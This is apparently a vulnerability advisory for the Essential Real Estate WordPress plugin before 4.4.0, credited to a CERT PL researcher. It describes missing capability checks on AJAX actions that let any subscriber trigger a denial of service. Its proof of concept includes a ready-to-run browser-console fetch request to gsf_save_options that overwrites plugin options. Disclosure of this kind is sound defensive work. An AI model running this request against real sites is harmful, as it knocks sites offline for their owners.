WordPress Plugin Vulnerabilities

Essential Real Estate < 4.4.0 - Subscriber+ Denial of Service via Arbitrary Option Update

Description

The plugin does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Denial of Service attacks.

Proof of Concept

1. login, and visit https://vulnerable-site.tld/wp-admin/profile.php?action=delete
2. run the following in your browser console: 

fetch("/wp-admin/admin-ajax.php?action=gsf_save_options", {"headers": {"content-type": "application/x-www-form-urlencoded",},"body": `_wpnonce=${GSF_META_DATA['nonce']}&_current_preset=template`,"method": "POST",}).then((response) => {return response.text();    }).then((data) => {console.log(data);})

The same can be achieved via other AJAX actions in the plugin, like "gsf_import_theme_options".

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-18 (about 4 months ago)
Added
2023-12-18 (about 4 months ago)
Last Updated
2023-12-18 (about 4 months ago)

Other